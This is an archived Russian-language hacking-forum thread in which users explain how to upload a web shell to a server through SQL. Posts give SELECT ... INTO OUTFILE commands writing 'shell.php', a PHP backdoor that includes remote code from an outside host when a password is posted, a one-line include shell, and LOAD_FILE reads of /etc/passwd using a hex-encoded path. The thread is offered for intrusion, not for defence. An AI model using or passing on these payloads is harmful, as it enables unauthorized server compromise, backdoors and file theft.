Просмотр полной версии : Помогите с Sql
Здравствуйте, хотел бы спросить у более знающих, какой командой можно залить файл на сервер с помощью Sql. :)
Зарание благодарен....
InferNo23
17.12.2006, 18:28
select 'file_content' INTO OUTFILE '/путь'
GreenBear
17.12.2006, 18:29
outfile
SELECT name FROM table WHERE id='0' INTO OUTFILE '/path/to/file/shell.php';
blackybr
17.12.2006, 18:58
Точнее сначала нужно засунуть в запись name с id=0 пхп код ) я например люблю что-ниб вроде
<?
if ($_POST ['someshit'] == "killme")
{
include ("http://someshit.nm.ru/br/s.php");
}
else
{
die;
}
?>
а уже после делать то что написал Green_Bear =)
nc.STRIEM
18.12.2006, 01:47
а не проще ли сделать
SELECT '<? include($i); ?>' FROM table INTO OUTFILE '/path/to/file/shell.php';
}{0TT@БЬ)Ч
18.12.2006, 04:05
а если путь не известен?
guest3297
18.12.2006, 07:09
а если путь не известен?
То узнай его...
}{0TT@БЬ)Ч
18.12.2006, 22:18
']То узнай его...
Как если ошибка не выводится?
что мешает тебе загрузить /etc/passwd/, что то типа SELECT LOAD_FILE(0x2F6574632F7061737377642F) FROM table/*
это даст некое начало, исходя остальной путь пожно попробовать домумать и сделать INTO OUTFILE
или залить в /tmp/ а оттуда заинклюдить, если есть локальный инклюд.
А какая версия SQL сервера mysql, mssql &
guest3297
19.12.2006, 05:07
}{0TT@БЬ)Ч
Что мешает phpinfo другие файлы с выводом ошибок пройтись по cgi посмотреть другие сайты на этом же хостинге провести аналогию..
}{0TT@БЬ)Ч
19.12.2006, 15:18
что мешает тебе загрузить /etc/passwd/, что то типа SELECT LOAD_FILE(0x2F6574632F7061737377642F) FROM table/*
это даст некое начало, исходя остальной путь пожно попробовать домумать и сделать INTO OUTFILE
или залить в /tmp/ а оттуда заинклюдить, если есть локальный инклюд.
А какая версия SQL сервера mysql, mssql &
mysql 4.0.21 прав мало походу не могу прочесть passwd, локального инклуда нету.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot